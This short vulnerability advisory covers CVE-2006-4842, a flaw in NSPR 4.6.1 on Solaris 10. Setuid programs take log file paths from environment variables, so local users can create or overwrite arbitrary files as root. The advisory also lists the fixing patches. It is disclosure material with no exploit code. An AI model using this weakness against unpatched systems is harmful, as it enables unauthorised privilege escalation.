Solaris 10 libnspr oldschool local root

Local exploitation of a design error vulnerability in version 4.6.1 of NSPR, as included with Sun Microsystems Solaris 10, allows attackers to create or overwrite arbitrary files on the system. The problem exists because environment variables are used to create log files. Even when the program is setuid, users can specify a log file that will be created with elevated privileges (CVE-2006-4842).

Mitigation:

Apply the patch 119213-10 for SPARC and 119214-10 for x86.
